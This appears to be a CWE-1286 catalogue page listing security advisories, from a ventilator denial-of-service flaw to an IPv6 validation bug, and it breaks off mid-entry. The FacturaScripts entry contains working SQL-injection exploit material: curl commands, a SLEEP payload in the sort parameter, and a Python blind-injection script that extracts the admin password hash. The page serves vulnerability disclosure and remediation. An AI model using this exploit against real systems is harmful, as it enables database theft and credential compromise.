Common Weakness Enumeration
CWE-1286
AllowedImproper Validation of Syntactic Correctness of Input
Abstraction: Base · Status: Incomplete
The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.
155 vulnerabilities reference this CWE, most recent first.
GHSA-9P7R-JMP9-7HW2
Vulnerability from github – Published: 2026-06-02 21:30 – Updated: 2026-06-03 21:30
VLAI
Details
Dräger Perseus A500 software versions 2.00 through 2.02 contains an improper input handling vulnerability that allows external attackers to cause a denial of service by sending specifically crafted non-Medibus-compliant data through the Medibus interface. Attackers can overload the internal processor with malformed data to trigger a warm restart, causing ventilation pressure to drop to ambient level and interrupting ventilation for several seconds before therapy resumes.
Severity
4.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-25723"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-02T20:16:23Z",
"severity": "MODERATE"
},
"details": "Dr\u00e4ger Perseus A500 software versions 2.00 through 2.02 contains an improper input handling vulnerability that allows external attackers to cause a denial of service by sending specifically crafted non-Medibus-compliant data through the Medibus interface. Attackers can overload the internal processor with malformed data to trigger a warm restart, causing ventilation pressure to drop to ambient level and interrupting ventilation for several seconds before therapy resumes.",
"id": "GHSA-9p7r-jmp9-7hw2",
"modified": "2026-06-03T21:30:26Z",
"published": "2026-06-02T21:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25723"
},
{
"type": "WEB",
"url": "https://static.draeger.com/security"
},
{
"type": "WEB",
"url": "https://static.draeger.com/security/download/2020-06-PSA-20-169-01-Security-Advisory-Perseus-A500-SW20n.pdf"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dr-ger-perseus-a500-dos-via-medibus-interface"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9WHV-VCHQ-G94V
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-07-13 00:01
VLAI
Details
A user controlled parameter related to SMTP test functionality is not correctly validated making it possible to add the Carriage Return and Line Feed (CRLF) control characters and include arbitrary SMTP headers in the generated test email.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2021-31988"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-20",
"CWE-74"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-05T22:15:00Z",
"severity": "HIGH"
},
"details": "A user controlled parameter related to SMTP test functionality is not correctly validated making it possible to add the Carriage Return and Line Feed (CRLF) control characters and include arbitrary SMTP headers in the generated test email.",
"id": "GHSA-9whv-vchq-g94v",
"modified": "2022-07-13T00:01:25Z",
"published": "2022-05-24T19:16:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31988"
},
{
"type": "WEB",
"url": "https://www.axis.com/files/tech_notes/CVE-2021-31988.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C25Q-MQX5-M6V8
Vulnerability from github – Published: 2026-04-11 00:31 – Updated: 2026-04-13 15:31
VLAI
Details
Net::CIDR::Lite versions before 0.23 for Perl does not validate IPv6 group count, which may allow IP ACL bypass.
_pack_ipv6() does not check that uncompressed IPv6 addresses (without ::) have exactly 8 hex groups. Inputs like "abcd", "1:2:3", or "1:2:3:4:5:6:7" are accepted and produce packed values of wrong length (3, 7, or 15 bytes instead of 17).
The packed values are used internally for mask and comparison operations. find() and bin_find() use Perl string comparison (lt/gt) on these values, and comparing strings of different lengths gives wrong results. This can cause find() to incorrectly report an address as inside or outside a range.
Example:
my $cidr = Net::CIDR::Lite->new("::/8"); $cidr->find("1:2:3"); # invalid input, incorrectly returns true
This is the same class of input validation issue as CVE-2021-47154 (IPv4 leading zeros) previously fixed in this module.
See also CVE-2026-40199, a related issue in the same function affecting IPv4 mapped IPv6 addresses.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-40198"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-10T22:16:21Z",
"severity": "HIGH"
},
"details": "Net::CIDR::Lite versions before 0.23 for Perl does not validate IPv6 group count, which may allow IP ACL bypass.\n\n_pack_ipv6() does not check that uncompressed IPv6 addresses (without ::) have exactly 8 hex groups. Inputs like \"abcd\", \"1:2:3\", or \"1:2:3:4:5:6:7\" are accepted and produce packed values of wrong length (3, 7, or 15 bytes instead of 17).\n\nThe packed values are used internally for mask and comparison operations. find() and bin_find() use Perl string comparison (lt/gt) on these values, and comparing strings of different lengths gives wrong results. This can cause find() to incorrectly report an address as inside or outside a range.\n\nExample:\n\n my $cidr = Net::CIDR::Lite-\u003enew(\"::/8\");\n $cidr-\u003efind(\"1:2:3\"); # invalid input, incorrectly returns true\n\nThis is the same class of input validation issue as CVE-2021-47154 (IPv4 leading zeros) previously fixed in this module.\n\nSee also CVE-2026-40199, a related issue in the same function affecting IPv4 mapped IPv6 addresses.",
"id": "GHSA-c25q-mqx5-m6v8",
"modified": "2026-04-13T15:31:36Z",
"published": "2026-04-11T00:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40198"
},
{
"type": "WEB",
"url": "https://github.com/stigtsp/Net-CIDR-Lite/commit/25d65f85dbe4885959a10471725ec9d250a589c3.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/STIGTSP/Net-CIDR-Lite-0.23/changes"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40199"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C3P2-XW2J-QRF4
Vulnerability from github – Published: 2025-03-03 03:31 – Updated: 2025-03-04 18:33
VLAI
Details
In Modem, there is a possible memory corruption due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01525673; Issue ID: MSV-2747.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-20644"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-03T03:15:09Z",
"severity": "HIGH"
},
"details": "In Modem, there is a possible memory corruption due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01525673; Issue ID: MSV-2747.",
"id": "GHSA-c3p2-xw2j-qrf4",
"modified": "2025-03-04T18:33:27Z",
"published": "2025-03-03T03:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20644"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/March-2025"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CJFX-QHWM-HF99
Vulnerability from github – Published: 2026-02-03 18:14 – Updated: 2026-02-04 21:57
VLAI
Summary
FacturaScripts has SQL Injection in API ORDER BY Clause
Details
Summary
FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.
Details
The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.
Vulnerable Code Locations
1. Legacy Models:
File: /Core/Model/Base/ModelClass.php
Method: getOrderBy()
Direct concatenation of keys and values from the $order array.
2. Modern Models (DbQuery):
File: /Core/DbQuery.php
Method: orderBy()
Lines: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.
Proof of Concept (PoC)
Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints
Step-by-Step Verification (CLI)
Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. Verify Time-Based SQL Injection:
Use the extracted API_KEY in the X-Auth-Token header.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.
Automated Exploitation Tool
This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
Impact
Data Confidentiality
- Complete database disclosure through blind SQL Injection techniques
- Extraction of sensitive data including:
- User credentials and API keys
- Customer PII (personal identifiable information)
- Financial records and transaction data
- Business intelligence and pricing information
- System configuration and secrets
Who is Impacted?
- Organizations using FacturaScripts API for integrations
- Mobile apps and third-party integrations using the API
- All users whose data is accessible via API
- Business partners with API access
Recommended Fix
Immediate Remediation
Option 1: Implement Strict Whitelist Validation (Recommended)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
Option 2: Use Database Escaping Functions
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
Option 3: Use Query Builder Pattern
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
API Security Best Practices
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
Credits
Discovered by: Łukasz Rybak
Severity
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2025.81"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25513"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-20",
"CWE-89",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:14:43Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "HIGH"
},
"details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n // If it contains parentheses, it is not escaped (VULNERABILITY!)\n if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n $this-\u003eorderBy[] = $field . \u0027 \u0027 . $order;\n return $this;\n }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027 | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po \u0027EditApiKey\\?code=\\K\\d+\u0027 | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po \u0027name=\"apikey\" value=\"\\K[^\"]+\u0027 | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n \"\"\"Extract multireqtoken from any page\"\"\"\n res = session.get(url)\n match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, res.text)\n return match.group(1) if match else None\n\ndef get_api_key():\n \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n \n # 1. Login flow\n token = get_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get initial CSRF token\")\n return None\n \n login_data = {\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD,\n \"action\": \"login\",\n \"multireqtoken\": token\n }\n res = session.post(f\"{BASE_URL}/login\", data=login_data)\n if \"Dashboard\" not in res.text:\n print(\"[!] Login failed!\")\n return None\n print(\"[+] Login successful.\")\n\n # 2. Retrieve API Key ID from settings\n print(\"[*] Accessing API settings...\")\n res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n id_match = re.search(r\u0027EditApiKey\\?code=(\\d+)\u0027, res.text)\n if not id_match:\n print(\"[!] No API keys found in system!\")\n return None\n \n api_id = id_match.group(1)\n \n # 3. Get the actual API key string\n print(f\"[*] Retrieving API key for ID {api_id}...\")\n res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n key_match = re.search(r\u0027name=\"apikey\" value=\"([^\"]+)\"\u0027, res.text)\n if not key_match:\n print(\"[!] Failed to extract API key from page!\")\n return None\n \n return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n headers = {\"X-Auth-Token\": api_key}\n params = {\n \u0027limit\u0027: 1,\n f\u0027sort[{payload}]\u0027: \u0027ASC\u0027\n }\n start = time.time()\n try:\n requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n except requests.exceptions.ReadTimeout:\n return 10.0\n except:\n pass\n return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n extracted = \"\"\n charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n \n print(f\"[*] Starting extraction for query: {query}\")\n for i in range(1, length + 1):\n found = False\n for char in charset:\n # Added BINARY to force case-sensitive comparison\n payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)=\u0027{char}\u0027,SLEEP(2),nick))\"\n elapsed = time_based_sqli(api_key, payload)\n \n if elapsed \u003e= 2.0:\n extracted += char\n print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n found = True\n break\n if not found:\n break\n return extracted\n\ndef main():\n print(\"=\"*60)\n print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n print(\"=\"*60)\n\n # 1. Get API Key dynamically\n api_key = get_api_key()\n if not api_key:\n return\n print(f\"[+] Using API Key: {api_key}\")\n\n # 2. Verify vulnerability\n print(\"[*] Verifying vulnerability...\")\n if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n print(\"[+] System is VULNERABLE!\")\n else:\n print(\"[-] System not vulnerable or API key invalid.\")\n return\n\n # 3. Extract Admin Password Hash\n admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick=\u0027admin\u0027\")\n print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n - User credentials and API keys\n - Customer PII (personal identifiable information)\n - Financial records and transaction data\n - Business intelligence and pricing information\n - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n // Get valid column names from model\n $validColumns = array_keys(static::getModelFields());\n\n foreach ($order as $key =\u003e $value) {\n // Validate column name against whitelist\n if (!in_array($key, $validColumns, true)) {\n throw new \\Exception(\u0027Invalid column name for sorting: \u0027 . $key);\n }\n\n // Validate sort direction (must be ASC or DESC)\n $value = strtoupper(trim($value));\n if (!in_array($value, [\u0027ASC\u0027, \u0027DESC\u0027], true)) {\n throw new \\Exception(\u0027Invalid sort direction: \u0027 . $value);\n }\n\n // Escape column name\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $result .= $coma . $safeColumn . \u0027 \u0027 . $value;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n foreach ($order as $key =\u003e $value) {\n // Escape identifiers and validate direction\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $safeDirection = in_array(strtoupper($value), [\u0027ASC\u0027, \u0027DESC\u0027])\n ? strtoupper($value)\n : \u0027ASC\u0027;\n\n $result .= $coma . $safeColumn . \u0027 \u0027 . $safeDirection;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n $query = self::table();\n\n // Apply WHERE conditions\n foreach ($where as $condition) {\n $query-\u003ewhere($condition);\n }\n\n // Apply ORDER BY with validation\n foreach ($order as $column =\u003e $direction) {\n if (!array_key_exists($column, static::getModelFields())) {\n continue; // Skip invalid columns\n }\n $query-\u003eorderBy($column, $direction);\n }\n\n return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n \u0027max_sort_fields\u0027 =\u003e 3, // Limit number of sort fields\n \u0027allowed_sort_fields\u0027 =\u003e [\u0027id\u0027, \u0027date\u0027, \u0027name\u0027], // Whitelist\n \u0027default_sort\u0027 =\u003e \u0027id ASC\u0027, // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
"id": "GHSA-cjfx-qhwm-hf99",
"modified": "2026-02-04T21:57:11Z",
"published": "2026-02-03T18:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
},
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FacturaScripts has SQL Injection in API ORDER BY Clause"
}
GHSA-CPH5-5RVQ-2PRR
Vulnerability from github – Published: 2025-04-30 12:31 – Updated: 2025-04-30 12:31
VLAI
Details
A vulnerability in the “Proxy” functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to manipulate the “/etc/environment” file via a crafted HTTP request.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-24346"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-30T12:15:18Z",
"severity": "HIGH"
},
"details": "A vulnerability in the \u201cProxy\u201d functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to manipulate the \u201c/etc/environment\u201d file via a crafted HTTP request.",
"id": "GHSA-cph5-5rvq-2prr",
"modified": "2025-04-30T12:31:24Z",
"published": "2025-04-30T12:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24346"
},
{
"type": "WEB",
"url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-640452.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWJV-W927-X7GR
Vulnerability from github – Published: 2026-05-29 18:31 – Updated: 2026-05-29 18:31
VLAI
Details
XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.
Severity
4.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-10099"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T16:16:24Z",
"severity": "MODERATE"
},
"details": "XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.",
